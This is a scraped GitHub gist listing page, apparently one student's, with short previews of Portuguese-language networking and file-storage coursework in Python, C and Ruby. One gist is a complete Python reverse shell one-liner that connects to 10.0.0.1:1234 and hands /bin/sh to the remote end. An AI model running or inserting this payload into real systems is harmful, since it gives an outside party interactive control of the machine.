This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Tcp Chat server | |
| import socket | |
| import select | |
| # Function to broadcast chat messages to all connected clients | |
| sub_map = {} | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python3 | |
| import socket | |
| import asyncio | |
| import struct | |
| import threading | |
| ETH_P_ALL = 0x0003 | |
| ETH_P_IP = 0x0800 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import socket | |
| import asyncio | |
| import struct | |
| import threading | |
| conexoes = {} | |
| ETH_P_IP = 0x0800 | |
| # Coloque aqui o endereço de destino para onde você quer mandar o ping |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| print "Press enter to continue" | |
| gets | |
| print "Press any key to continue... " | |
| STDIN.getc |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python3 | |
| # | |
| # Codigo baseado no codigo de paulo matias | |
| # Para referencia acesse https://gist.githubusercontent.com/thotypous/6b4bcff336e307e4a64622aa19d4b65c/raw/06ca98837c9a8010fdb84264331b29ed78a93700/tcp_rawsock_v2.py | |
| # Here we go | |
| from sys import argv | |
| import asyncio | |
| import random |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import json | |
| from sys import argv | |
| grafo = [] | |
| if __name__ == "__main__": | |
| if len(argv) == 1: | |
| print("Uso: python3 graph_ctl.py <arquivo>") | |
| exit(0) | |
| print("Abrindo arquivo com o grafo ....") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <string.h> | |
| #include <stdlib.h> | |
| FILE * file; | |
| char memory_block [512]; | |
| int bytes_ocupados = 0; | |
| char record_buffer [510]; | |
| char text_buffer [200]; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <string.h> | |
| //Prototipos | |
| void limpa_memoria(); | |
| int grava_bloco(); | |
| //As variaveis abaixo só foram declaradas em escopo global para não ocuparem a | |
| //pilha, se eu não o fizesse, o compilador faria ¯\_(ツ)_/¯ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * Descrição: | |
| * Este programa é um utilitario de inserção e recuperação de registros | |
| * de alunos. | |
| * | |
| * Autor: | |
| * Henrique Almeida Marcomini - 619957 | |
| * | |
| * Especificações: | |
| * https://drive.ufscar.br/d/2947e699b2/files/?p=/trabalhos/t1/trabalho_1_mobile.pdf |
NewerOlder